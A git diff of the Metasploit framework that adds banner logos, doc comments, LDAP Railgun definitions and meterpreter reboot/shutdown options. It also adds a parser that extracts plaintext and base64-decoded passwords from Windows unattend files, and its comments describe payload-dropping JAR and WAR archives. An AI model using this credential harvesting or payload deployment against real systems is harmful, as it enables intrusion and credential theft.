@@ +# cowsay++ + ____________ +< metasploit > + ------------ + \ ,__, + \ (oo)____ + (__) )\ + ||--|| * diff --git a/lib/msf/ui/logos/figlet.txt b/lib/msf/ui/logos/figlet.txt new file mode 100644 index 000000000000..972e7363c00f --- /dev/null +++ b/lib/msf/ui/logos/figlet.txt @@ -0,0 +1,6 @@ + _ _ +/ \ /\ __ _ __ /_/ __ +| |\ / | _____ \ \ ___ _____ | | / \ _ \ \ +| | \/| | | ___\ |- -| /\ / __\ | -__/ | || | || | |- -| +|_| | | | _|__ | |_ / -\ __\ \ | | | | \__/| | | |_ + |/ |____/ \___\/ /\ \\___/ \/ \__| |_\ \___\ diff --git a/lib/msf/ui/logos/i-heart-shells.txt b/lib/msf/ui/logos/i-heart-shells.txt new file mode 100644 index 000000000000..5c1c64dd8980 --- /dev/null +++ b/lib/msf/ui/logos/i-heart-shells.txt @@ -0,0 +1,8 @@ +%whiIIIIII %reddTb.dTb%clr _.---._ +%whi II %red4' v 'B%clr .'"".'/|\`.""'. +%whi II %red6. .P%clr : .' / | \ `. : +%whi II %red'T;. .;P'%clr '.' / | \ `.' +%whi II %red'T; ;P'%clr `. / | \ .' +%whiIIIIII %red'YvP'%clr `-.__|__.-' + +I love shells --egypt diff --git a/lib/msf/ui/logos/metasploit-shield.txt b/lib/msf/ui/logos/metasploit-shield.txt new file mode 100644 index 000000000000..41f1d971c724 --- /dev/null +++ b/lib/msf/ui/logos/metasploit-shield.txt @@ -0,0 +1,21 @@ +%clr +%bluMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM%clr +%bluMMMMMMMMMMM MMMMMMMMMM%clr +%bluMMMN$ vMMMM%clr +%bluMMMNl%clr %bldMMMMM MMMMM%clr %bluJMMMM%clr +%bluMMMNl%clr %bldMMMMMMMN NMMMMMMM%clr %bluJMMMM%clr +%bluMMMNl%clr %bldMMMMMMMMMNmmmNMMMMMMMMM%clr %bluJMMMM%clr +%bluMMMNI%clr %bldMMMMMMMMMMMMMMMMMMMMMMM%clr %blujMMMM%clr +%bluMMMNI%clr %bldMMMMMMMMMMMMMMMMMMMMMMM%clr %blujMMMM%clr +%bluMMMNI%clr %bldMMMMM MMMMMMM MMMMM%clr %blujMMMM%clr +%bluMMMNI%clr %bldMMMMM MMMMMMM MMMMM%clr %blujMMMM%clr +%bluMMMNI%clr %bldMMMNM MMMMMMM MMMMM%clr %blujMMMM%clr +%bluMMMNI%clr %bldWMMMM MMMMMMM MMMM#%clr %bluJMMMM%clr +%bluMMMMR%clr %bld?MMNM MMMMM%clr %blu.dMMMM%clr +%bluMMMMNm%clr %bld`?MMM MMMM`%clr %bludMMMMM%clr +%bluMMMMMMN%clr %bld?MM MM?%clr %bluNMMMMMN%clr +%bluMMMMMMMMNe%clr %bluJMMMMMNMMM%clr +%bluMMMMMMMMMMNm,%clr %blueMMMMMNMMNMM%clr +%bluMMMMNNMNMMMMMNx%clr %bluMMMMMMNMMNMMNM%clr +%bluMMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMM%clr +%clr%bld http://metasploit.pro diff --git a/lib/msf/ui/logos/missile-command.txt b/lib/msf/ui/logos/missile-command.txt new file mode 100644 index 000000000000..5192490da219 --- /dev/null +++ b/lib/msf/ui/logos/missile-command.txt @@ -0,0 +1,30 @@ +%clr + ______________________________________________________________________________ +| | +| %bld%grnMETASPLOIT CYBER MISSILE COMMAND V4%clr | +|______________________________________________________________________________| + %yel\%clr %yel/%clr %yel/%clr + %yel\%clr . %yel/%clr %yel/%clr x + %yel\%clr %yel/%clr %yel/%clr + %yel\%clr %yel/%clr + %yel/%clr + %yel\%clr + %yel/%clr %yel/%clr + * %yel/%clr %yel/%clr + %yel/%clr . %yel/%clr + X %yel/%clr %yel/%clr X + %yel/%clr %red###%clr + %yel/%clr %red# %bld%%clr%red #%clr + %yel/%clr %red###%clr + . %yel/%clr + . %yel/%clr . %red*%clr . + %yel/%clr + * + + %red*%clr + + %bld^%clr +#### __ __ __ ####### __ __ __ #### +#### %yel/%clr %yel\%clr %yel/%clr %yel\%clr %yel/%clr %yel\%clr ########### %yel/%clr %yel\%clr %yel/%clr %yel\%clr %yel/%clr %yel\%clr #### +################################################################################ +################################################################################ +# %bldWAVE 4%clr ######## %bldSCORE 31337%clr ################################## %bldHIGH FFFFFFFF%clr # +################################################################################ + http://metasploit.pro%clr diff --git a/lib/msf/ui/logos/ninja.txt b/lib/msf/ui/logos/ninja.txt new file mode 100644 index 000000000000..70a5317a2473 --- /dev/null +++ b/lib/msf/ui/logos/ninja.txt @@ -0,0 +1,30 @@ +%clr ######## # + ################# # + ###################### # + ######################### # + ############################ + ############################## + ############################### + ############################### + ############################## + # ######## # + %red##%clr %red###%clr #### ## + ### ### + #### ### + #### ########## #### + ####################### #### + #################### #### + ################## #### + ############ ## + ######## ### + ######### ##### + ############ ###### + ######## ######### + ##### ######## + ### ######### + ###### ############ + ####################### + # # ### # # ## + ######################## + ## ## ## ## + http://metasploit.pro%clr diff --git a/lib/msf/ui/logos/null-pointer-deref.txt b/lib/msf/ui/logos/null-pointer-deref.txt new file mode 100644 index 000000000000..38a532b541a6 --- /dev/null +++ b/lib/msf/ui/logos/null-pointer-deref.txt @@ -0,0 +1,37 @@ +%clr%whi +Unable to handle kernel NULL pointer dereference at virtual address 0xd34db33f +EFLAGS: 00010046 +eax: 00000001 ebx: f77c8c00 ecx: 00000000 edx: f77f0001 +esi: 803bf014 edi: 8023c755 ebp: 80237f84 esp: 80237f60 +ds: 0018 es: 0018 ss: 0018 +Process Swapper (Pid: 0, process nr: 0, stackpage=80377000) + +%bld +Stack: 90909090990909090990909090 + 90909090990909090990909090 + 90909090.90909090.90909090 + 90909090.90909090.90909090 + 90909090.90909090.09090900 + 90909090.90909090.09090900 + .......................... + cccccccccccccccccccccccccc + cccccccccccccccccccccccccc + ccccccccc................. + cccccccccccccccccccccccccc + cccccccccccccccccccccccccc + .................ccccccccc + cccccccccccccccccccccccccc + cccccccccccccccccccccccccc + .......................... + ffffffffffffffffffffffffff + ffffffff.................. + ffffffffffffffffffffffffff + ffffffff.................. + ffffffff.................. + ffffffff.................. +%clr + +%yelCode: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N4 00 00 00 00%clr +Aiee, Killing Interrupt handler +%redKernel panic: Attempted to kill the idle task! +In swapper task - not syncing%clr diff --git a/lib/msf/ui/logos/r7-metasploit.txt b/lib/msf/ui/logos/r7-metasploit.txt new file mode 100644 index 000000000000..f65028259727 --- /dev/null +++ b/lib/msf/ui/logos/r7-metasploit.txt @@ -0,0 +1,16 @@ +%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% +%% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% +%% %% %%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% +%% % %%%%%%%% %%%%%%%%%%% http://metasploit.pro %%%%%%%%%%%%%%%%%%%%%%%%% +%% %% %%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% +%% %%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% +%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% +%%%%% %%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% +%%%% %% %%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%% %%%%% +%%%% %% %% % %% %% %%%%% % %%%% %% %%%%%% %% +%%%% %% %% % %%% %%%% %%%% %% %%%% %%%% %% %% %% %%% %% %%% %%%%% +%%%% %%%%%% %% %%%%%% %%%% %%% %%%% %% %% %%% %%% %% %% %%%%% +%%%%%%%%%%%% %%%% %%%%% %% %% % %% %%%% %%%% %%% %%% % +%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%% %%%%%%%%%%%%%% +%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%% +%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% diff --git a/lib/msf/ui/logos/test.rb b/lib/msf/ui/logos/test.rb new file mode 100644 index 000000000000..2a8e06341478 --- /dev/null +++ b/lib/msf/ui/logos/test.rb @@ -0,0 +1,5 @@ + +here = File.expand_path(File.dirname(__FILE__)) + +puts "Hi I live #{here}!" + diff --git a/lib/msf/ui/logos/wake-up-neo.txt b/lib/msf/ui/logos/wake-up-neo.txt new file mode 100644 index 000000000000..1ee17795575e --- /dev/null +++ b/lib/msf/ui/logos/wake-up-neo.txt @@ -0,0 +1,26 @@ +%whiCall trans opt: received. 2-19-98 13:24:18 REC:Loc + + Trace program: running + + wake up, Neo... + %bldthe matrix has you%clr + follow the white rabbit. + + knock, knock, Neo. + + (`. ,-, + ` `. ,;' / + `. ,'/ .' + `. X /.' + .-;--''--.._` ` ( + .' / ` + , ` ' Q ' + , , `._ \ + ,.| ' `-.;_' + : . ` ; ` ` --,.._; + ' ` , ) .' + `._ , ' /_ + ; ,''-,;' ``- + ``-..__``--` + + http://metasploit.pro%clr diff --git a/lib/msf/ui/logos/workflow.txt b/lib/msf/ui/logos/workflow.txt new file mode 100644 index 000000000000..a470eebd2418 --- /dev/null +++ b/lib/msf/ui/logos/workflow.txt @@ -0,0 +1,21 @@ + %whi+-------------------------------------------------------+ + %whi| METASPLOIT by Rapid7 | + %whi+---------------------------+---------------------------+ + %whi| %blu__________________ %whi| | + %whi| %yel==c%blu(______(%yelo%blu(______(_%yel() %whi| %grn|""""""""""""|======[%red*** %whi| + %whi| %blu)%yel=%blu\ %whi| %grn| %whiEXPLOIT %grn\ %whi| + %whi| %blu// \\ %whi| %grn|_____________\_______ %whi| + %whi| %blu// \\ %whi| %grn|==[%whimsf >%grn]============\ %whi| + %whi| %blu// \\ %whi| %grn|______________________\ %whi| + %whi| %blu// %whiRECON %blu\\ %whi| %grn\(@)(@)(@)(@)(@)(@)(@)/ %whi| + %whi| %blu// \\ %whi| %grn********************* %whi| + %whi+---------------------------+---------------------------+ + %whi| o O o | %yel\'\/\/\/'/ %whi| + %whi| o O | %yel)%whi======%yel( %whi| + %whi| o | %yel.' %whiLOOT %yel'. %whi| + %whi| %red|^^^^^^^^^^^^^^|l%red___ %whi| %yel/ %grn_||__ %yel\ %whi| + %whi| %red| %whiPAYLOAD %red|%whi""\%red___, %whi| %yel/ %grn(_||_ %yel\ %whi| + %whi| %red|________________|__|)__| %whi| %yel| %grn__||_) %yel| %whi| + %whi| %red|(@)(@)"""**|(@)(@)**|(@) %whi| %yel" %grn|| %yel" %whi| + %whi| %yel= = = = = = = = = = = = %whi| %yel'--------------' %whi| + %whi+---------------------------+---------------------------+%clr diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index 40f14ed747e9..33a41ca7c3a2 100755 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -1,21 +1,13 @@ # -*- coding: binary -*- -## -# $Id: exe.rb 14286 2011-11-20 01:41:04Z rapid7 $ -## -### -# -# framework-util-exe -# -------------- +module Msf +module Util + # # The class provides methods for creating and encoding executable file # formats for various platforms. It is a replacement for the previous # code in Rex::Text # -### - -module Msf -module Util class EXE require 'rex' @@ -609,6 +601,7 @@ def self.to_osx_x64_macho(framework, code, opts={}) end # Create an ELF executable containing the payload provided in +code+ + # # For the default template, this method just appends the payload, checks if # the template is 32 or 64 bit and adjusts the offsets accordingly # For user-provided templates, modifies the header to mark all executable @@ -1187,8 +1180,9 @@ def self.to_win32pe_aspx(framework, code, opts={}) # Creates a jar file that drops the provided +exe+ into a random file name # in the system's temp dir and executes it. # - # See also: +Msf::Core::Payload::Java+ + # @see Msf::Payload::Java # + # @return [Rex::Zip::Jar] def self.to_jar(exe, opts={}) spawn = opts[:spawn] || 2 exe_name = Rex::Text.rand_text_alpha(8) + ".exe" @@ -1205,8 +1199,30 @@ def self.to_jar(exe, opts={}) zip end - # Creates a Web Archive (WAR) file from the provided jsp code. Additional options - # can be provided via the "opts" hash. + # Creates a Web Archive (WAR) file from the provided jsp code. + # + # On Tomcat, WAR files will be deployed into a directory with the same name + # as the archive, e.g. +foo.war+ will be extracted into +foo/+. If the + # server is in a default configuration, deoployment will happen + # automatically. See + # {http://tomcat.apache.org/tomcat-5.5-doc/config/host.html the Tomcat + # documentation} for a description of how this works. + # + # @param jsp_raw [String] JSP code to be added in a file called +jsp_name+ + # in the archive. This will be compiled by the victim servlet container + # (e.g., Tomcat) and act as the main function for the servlet. + # @param opts [Hash] + # @option opts :jsp_name [String] Name of the in the archive + # _without the .jsp extension_. Defaults to random. + # @option opts :app_name [String] Name of the app to put in the + # tag. Mostly irrelevant, except as an identifier in web.xml. Defaults to + # random. + # @option opts :extra_files [Array] Additional files to add + # to the archive. First elment is filename, second is data + # + # @todo Refactor to return a {Rex::Zip::Archive} or {Rex::Zip::Jar} + # + # @return [String] def self.to_war(jsp_raw, opts={}) jsp_name = opts[:jsp_name] jsp_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8) @@ -1247,9 +1263,15 @@ def self.to_war(jsp_raw, opts={}) return zip.pack end - # Creates a Web Archive (WAR) file containing a jsp page and hexdump of a payload. - # The jsp page converts the hexdump back to a normal .exe file and places it in - # the temp directory. The payload .exe file is then executed. + # Creates a Web Archive (WAR) file containing a jsp page and hexdump of a + # payload. The jsp page converts the hexdump back to a normal binary file + # and places it in the temp directory. The payload file is then executed. + # + # @see to_war + # @param exe [String] Executable to drop and run. + # @param opts (see to_war) + # @option opts (see to_war) + # @return (see to_war) def self.to_jsp_war(exe, opts={}) # begin .jsp diff --git a/lib/rex/io/bidirectional_pipe.rb b/lib/rex/io/bidirectional_pipe.rb index c79ed2771501..d1de67ffcf5c 100644 --- a/lib/rex/io/bidirectional_pipe.rb +++ b/lib/rex/io/bidirectional_pipe.rb @@ -99,7 +99,7 @@ def print_status(msg='') end def print_warning(msg='') - print_warning('[!] ' + msg) + print_line('[!] ' + msg) end # @@ -159,4 +159,3 @@ def pgets end end - diff --git a/lib/rex/parser/unattend.rb b/lib/rex/parser/unattend.rb new file mode 100644 index 000000000000..09989418a25e --- /dev/null +++ b/lib/rex/parser/unattend.rb @@ -0,0 +1,134 @@ +# -*- coding: binary -*- +# + +module Rex +module Parser + +# This is a parser for the Windows Unattended Answer File +# format. It's used by modules/post/windows/gather/enum_unattend.rb +# and uses REXML (as opposed to Nokogiri) for its XML parsing. +# See: http://technet.microsoft.com/en-us/library/ff715801 +# http://technet.microsoft.com/en-us/library/cc749415(v=ws.10).aspx +class Unattend + + def self.parse(xml) + results = [] + unattend = xml.elements['unattend'] + return if unattend.nil? + unattend.each_element do |settings| + next if settings.class != REXML::Element + settings.get_elements('component').each do |c| + next if c.class != REXML::Element + results << extract_useraccounts(c.elements['UserAccounts']) + results << extract_autologon(c.elements['AutoLogon']) + results << extract_deployment(c.elements['WindowsDeploymentServices']) + end + end + return results.flatten + end + + # + # Extract sensitive data from Deployment Services. + # We can only seem to add one with Windows System Image Manager, so + # we'll only enum one. + # + def self.extract_deployment(deployment) + return [] if deployment.nil? + domain = deployment.elements['Login/Credentials/Domain'].get_text.value rescue '' + username = deployment.elements['Login/Credentials/Username'].get_text.value rescue '' + password = deployment.elements['Login/Credentials/Password'].get_text.value rescue '' + plaintext = deployment.elements['Login/Credentials/Password/PlainText'].get_text.value rescue 'true' + + if plaintext == 'false' + password = Rex::Text.decode_base64(password) + password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '') + end + + return {'type' => 'wds', 'domain' => domain, 'username' => username, 'password' => password } + end + + # + # Extract sensitive data from AutoLogon + # + def self.extract_autologon(auto_logon) + return [] if auto_logon.nil? + + domain = auto_logon.elements['Domain'].get_text.value rescue '' + username = auto_logon.elements['Username'].get_text.value rescue '' + password = auto_logon.elements['Password/Value'].get_text.value rescue '' + plaintext = auto_logon.elements['Password/PlainText'].get_text.value rescue 'true' + + if plaintext == 'false' + password = Rex::Text.decode_base64(password) + password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '') + end + + return {'type' => 'auto', 'domain' => domain, 'username' => username, 'password' => password } + end + + # + # Extract sensitive data from UserAccounts + # + def self.extract_useraccounts(user_accounts) + return[] if user_accounts.nil? + + results = [] + account_types = ['AdministratorPassword', 'DomainAccounts', 'LocalAccounts'] + account_types.each do |t| + element = user_accounts.elements[t] + next if element.nil? + + case t + # + # Extract the password from AdministratorPasswords + # + when account_types[0] + password = element.elements['Value'].get_text.value rescue '' + plaintext = element.elements['PlainText'].get_text.value rescue 'true' + + if plaintext == 'false' + password = Rex::Text.decode_base64(password) + password = password.gsub(/#{Rex::Text.to_unicode('AdministratorPassword')}$/, '') + end + + if not password.empty? + results << {'type' => 'admin', 'username' => 'Administrator', 'password' => password} + end + + # + # Extract the sensitive data from DomainAccounts. + # According to MSDN, unattend.xml doesn't seem to store passwords for domain accounts + # + when account_types[1] #DomainAccounts + element.elements.each do |account_list| + name = account_list.elements['DomainAccount/Name'].get_text.value rescue '' + group = account_list.elements['DomainAccount/Group'].get_text.value rescue 'true' + + results << {'type' => 'domain', 'username' => name, 'group' => group} + end + # + # Extract the username/password from LocalAccounts + # + when account_types[2] #LocalAccounts + element.elements.each do |local| + password = local.elements['Password/Value'].get_text.value rescue '' + plaintext = local.elements['Password/PlainText'].get_text.value rescue 'true' + + if plaintext == 'false' + password = Rex::Text.decode_base64(password) + password = password.gsub(/#{Rex::Text.to_unicode('Password')}$/, '') + end + + username = local.elements['Name'].get_text.value rescue '' + results << {'type' => 'local', 'username' => username, 'password' => password} + end + end + end + + return results + end + +end +end +end + diff --git a/lib/rex/post/meterpreter/extensions/stdapi/constants.rb b/lib/rex/post/meterpreter/extensions/stdapi/constants.rb index 332dda8a76e6..b18b25af216c 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/constants.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/constants.rb @@ -83,14 +83,14 @@ KEY_WOW64_64KEY = 0x00000100 KEY_WOW64_32KEY = 0x00000200 KEY_READ = (STANDARD_RIGHTS_READ | KEY_QUERY_VALUE | - KEY_ENUMERATE_SUB_KEYS | KEY_NOTIFY) & ~SYNCHRONIZE + KEY_ENUMERATE_SUB_KEYS | KEY_NOTIFY) & ~SYNCHRONIZE KEY_WRITE = (STANDARD_RIGHTS_WRITE | KEY_SET_VALUE | - KEY_CREATE_SUB_KEY) & ~SYNCHRONIZE + KEY_CREATE_SUB_KEY) & ~SYNCHRONIZE KEY_EXECUTE = KEY_READ KEY_ALL_ACCESS = (STANDARD_RIGHTS_ALL | KEY_QUERY_VALUE | - KEY_SET_VALUE | KEY_CREATE_SUB_KEY | - KEY_ENUMERATE_SUB_KEYS | KEY_NOTIFY | - KEY_CREATE_LINK) & ~SYNCHRONIZE + KEY_SET_VALUE | KEY_CREATE_SUB_KEY | + KEY_ENUMERATE_SUB_KEYS | KEY_NOTIFY | + KEY_CREATE_LINK) & ~SYNCHRONIZE ## # @@ -180,6 +180,59 @@ EWX_POWEROFF = 0x00000008 EWX_FORCEIFHUNG = 0x00000010 +## +# +# Shutdown Reason Codes +# +## +SHTDN_REASON_MINOR_DC_PROMOTION = 0x00000021 +SHTDN_REASON_MAJOR_APPLICATION = 0x00040000 +SHTDN_REASON_MAJOR_HARDWARE = 0x00010000 +SHTDN_REASON_FLAG_COMMENT_REQUIRED = 0x01000000 +SHTDN_REASON_FLAG_DIRTY_UI = 0x08000000 +SHTDN_REASON_MINOR_UNSTABLE = 0x00000006 +SHTDN_REASON_MINOR_SECURITYFIX_UNINSTALL = 0x00000018 +SHTDN_REASON_MINOR_ENVIRONMENT = 0x00000000 +SHTDN_REASON_MAJOR_LEGACY_API = 0x00070000 +SHTDN_REASON_MINOR_DC_DEMOTION = 0x00000022 +SHTDN_REASON_MINOR_SECURITYFIX = 0x00000012 +SHTDN_REASON_FLAG_CLEAN_UI = 0x04000000 +SHTDN_REASON_MINOR_HOTFIX = 0x00000011 +SHTDN_REASON_MINOR_CORDUNPLUGGED = 0x00000000 +SHTDN_REASON_MINOR_HOTFIX_UNINSTALL = 0x00000017 +SHTDN_REASON_FLAG_USER_DEFINED = 0x40000000 +SHTDN_REASON_MINOR_SYSTEMRESTORE = 0x00000001 +SHTDN_REASON_MINOR_OTHERDRIVER = 0x00000000 +SHTDN_REASON_MINOR_WMI = 0x00000015 +SHTDN_REASON_MINOR_INSTALLATION = 0x00000002 +SHTDN_REASON_MINOR_BLUESCREEN = 0x0000000F +SHTDN_REASON_MAJOR_SOFTWARE = 0x00030000 +SHTDN_REASON_MINOR_NETWORKCARD = 0x00000009 +SHTDN_REASON_MINOR_SERVICEPACK_UNINSTALL = 0x00000016 +SHTDN_REASON_MINOR_SERVICEPACK = 0x00000010 +SHTDN_REASON_MINOR_UPGRADE = 0x00000003 +SHTDN_REASON_FLAG_PLANNED = 0x80000000 +SHTDN_REASON_MINOR_MMC = 0x00000019 +SHTDN_REASON_MINOR_POWER_SUPPLY = 0x00000000 +SHTDN_REASON_MINOR_MAINTENANCE = 0x00000001 +SHTDN_REASON_VALID_BIT_MASK = 0x00000000 +SHTDN_REASON_MAJOR_NONE = 0x00000000 +SHTDN_REASON_MAJOR_POWER = 0x00060000 +SHTDN_REASON_FLAG_DIRTY_PROBLEM_ID_REQUIRED = 0x02000000 +SHTDN_REASON_MINOR_OTHER = 0x00000000 +SHTDN_REASON_MINOR_PROCESSOR = 0x00000008 +SHTDN_REASON_MAJOR_OTHER = 0x00000000 +SHTDN_REASON_MINOR_DISK = 0x00000007 +SHTDN_REASON_MINOR_NETWORK_CONNECTIVITY = 0x00000014 +SHTDN_REASON_MAJOR_OPERATINGSYSTEM = 0x00020000 +SHTDN_REASON_MINOR_HUNG = 0x00000005 +SHTDN_REASON_MINOR_TERMSRV = 0x00000020 +SHTDN_REASON_MINOR_NONE = 0x00000000 +SHTDN_REASON_MINOR_RECONFIG = 0x00000004 +SHTDN_REASON_MAJOR_SYSTEM = 0x00050000 +SHTDN_REASON_MINOR_HARDWARE_DRIVER = 0x00000000 +SHTDN_REASON_MINOR_SECURITY = 0x00000013 +SHTDN_REASON_DEFAULT = SHTDN_REASON_MAJOR_OTHER | SHTDN_REASON_MINOR_OTHER ## # diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb new file mode 100644 index 000000000000..6716b24f95a5 --- /dev/null +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_wldap32.rb @@ -0,0 +1,107 @@ +# -*- coding: binary -*- +module Rex +module Post +module Meterpreter +module Extensions +module Stdapi +module Railgun +module Def + +class Def_wldap32 + + def self.create_dll(dll_path = 'wldap32') + dll = DLL.new(dll_path, ApiConstants.manager) + + dll.add_function('ldap_sslinitA', 'DWORD',[ + ['PCHAR', 'HostName', 'in'], + ['DWORD', 'PortNumber', 'in'], + ['DWORD', 'secure', 'in'] + ]) + + dll.add_function('ldap_bind_sA', 'DWORD',[ + ['DWORD', 'ld', 'in'], + ['PCHAR', 'dn', 'in'], + ['PCHAR', 'cred', 'in'], + ['DWORD', 'method', 'in'] + ]) + + dll.add_function('ldap_search_sA', 'DWORD',[ + ['DWORD', 'ld', 'in'], + ['PCHAR', 'base', 'in'], + ['DWORD', 'scope', 'in'], + ['PCHAR', 'filter', 'in'], + ['PCHAR', 'attrs[]', 'in'], + ['DWORD', 'attrsonly', 'in'], + ['PDWORD', 'res', 'out'] + ]) + + dll.add_function('ldap_count_entries', 'DWORD',[ + ['DWORD', 'ld', 'in'], + ['DWORD', 'res', 'in'] + ]) + dll.add_function('ldap_first_entry', 'DWORD',[ + ['DWORD', 'ld', 'in'], + ['DWORD', 'res', 'in'] + ]) + + dll.add_function('ldap_next_entry', 'DWORD',[ + ['DWORD', 'ld', 'in'], + ['DWORD', 'entry', 'in'] + ]) + + dll.add_function('ldap_first_attributeA', 'DWORD',[ + ['DWORD', 'ld', 'in'], + ['DWORD', 'entry', 'in'], + ['DWORD', 'ptr', 'in'] + ]) + + dll.add_function('ldap_next_attributeA', 'DWORD',[ + ['DWORD', 'ld', 'in'], + ['DWORD', 'entry', 'in'], + ['DWORD', 'ptr', 'inout'] + ]) + + dll.add_function('ldap_count_values', 'DWORD',[ + ['DWORD', 'vals', 'in'], + ]) + + dll.add_function('ldap_get_values', 'DWORD',[ + ['DWORD', 'ld', 'in'], + ['DWORD', 'entry', 'in'], + ['PCHAR', 'attr', 'in'] + ]) + + dll.add_function('ldap_value_free', 'DWORD',[ + ['DWORD', 'vals', 'in'], + ]) + + dll.add_function('ldap_memfree', 'VOID',[ + ['DWORD', 'block', 'in'], + ]) + + dll.add_function('ber_free', 'VOID',[ + ['DWORD', 'pBerElement', 'in'], + ['DWORD', 'fbuf', 'in'], + ]) + + dll.add_function('LdapGetLastError', 'DWORD',[]) + + dll.add_function('ldap_err2string', 'DWORD',[ + ['DWORD', 'err', 'in'] + ]) + + dll.add_function('ldap_msgfree', 'DWORD', [ + ['DWORD', 'res', 'in'] + ]) + + dll.add_function('ldap_unbind', 'DWORD', [ + ['DWORD', 'ld', 'in'] + ]) + return dll + end + +end + +end; end; end; end; end; end; end + + diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb index 549cc8aa28e4..d0c3e1c60895 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb @@ -77,6 +77,7 @@ class Railgun 'netapi32', 'crypt32', 'wlanapi', + 'wldap32' ].freeze ## diff --git a/lib/rex/post/meterpreter/extensions/stdapi/sys/power.rb b/lib/rex/post/meterpreter/extensions/stdapi/sys/power.rb index 001131651fb3..cb3d90f804dc 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/sys/power.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/sys/power.rb @@ -28,33 +28,32 @@ class < e + elog(e.to_s) + rescue RequestError => e + elog(e.to_s) + end + + server ? print_status("Migrating from #{server.pid} to #{pid}...") : print_status("Migrating to #{pid}") # Do this thang. client.core.migrate(pid) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb index 74560ee60bcc..782a206a3fbb 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb @@ -33,6 +33,20 @@ class Console::CommandDispatcher::Stdapi::Sys "-k" => [ false, "Execute process on the meterpreters current desktop" ], "-s" => [ true, "Execute process in a given session as the session user" ]) + # + # Options used by the 'reboot' command. + # + @@reboot_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help menu." ], + "-f" => [ true, "Force a reboot, valid values [1|2]" ]) + + # + # Options used by the 'shutdown' command. + # + @@shutdown_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help menu." ], + "-f" => [ true, "Force a shutdown, valid values [1|2]" ]) + # # Options used by the 'reg' command. # @@ -316,7 +330,7 @@ def cmd_kill_help # @param pids [Array] The pids to validate # @param allow_pid_0 [Boolean] whether to consider a pid of 0 as valid # @param allow_session_pid [Boolean] whether to consider a pid = the current session pid as valid - # @return [Array] Returns an array of valid pids + # @return [Array] Returns an array of valid pids def validate_pids(pids, allow_pid_0 = false, allow_session_pid = false) @@ -356,14 +370,14 @@ def validate_pids(pids, allow_pid_0 = false, allow_session_pid = false) def cmd_ps(*args) processes = client.sys.process.get_processes @@ps_opts.parse(args) do |opt, idx, val| - case opt + case opt when "-h" cmd_ps_help return true when "-S" print_line "Filtering on process name..." searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new - processes.each do |proc| + processes.each do |proc| if val.nil? or val.empty? print_line "You must supply a search term!" return false @@ -374,7 +388,7 @@ def cmd_ps(*args) when "-A" print_line "Filtering on arch..." searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new - processes.each do |proc| + processes.each do |proc| next if proc['arch'].nil? or proc['arch'].empty? if val.nil? or val.empty? or !(val == "x86" or val == "x86_64") print_line "You must select either x86 or x86_64" @@ -386,14 +400,14 @@ def cmd_ps(*args) when "-s" print_line "Filtering on SYSTEM processes..." searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new - processes.each do |proc| + processes.each do |proc| searched_procs << proc if proc["user"] == "NT AUTHORITY\\SYSTEM" end processes = searched_procs when "-U" print_line "Filtering on user name..." searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new - processes.each do |proc| + processes.each do |proc| if val.nil? or val.empty? print_line "You must supply a search term!" return false @@ -416,7 +430,7 @@ def cmd_ps(*args) def cmd_ps_help print_line "Use the command with no arguments to see all running processes." print_line "The following options can be used to filter those results:" - + print_line @@ps_opts.usage end @@ -426,9 +440,25 @@ def cmd_ps_help # Reboots the 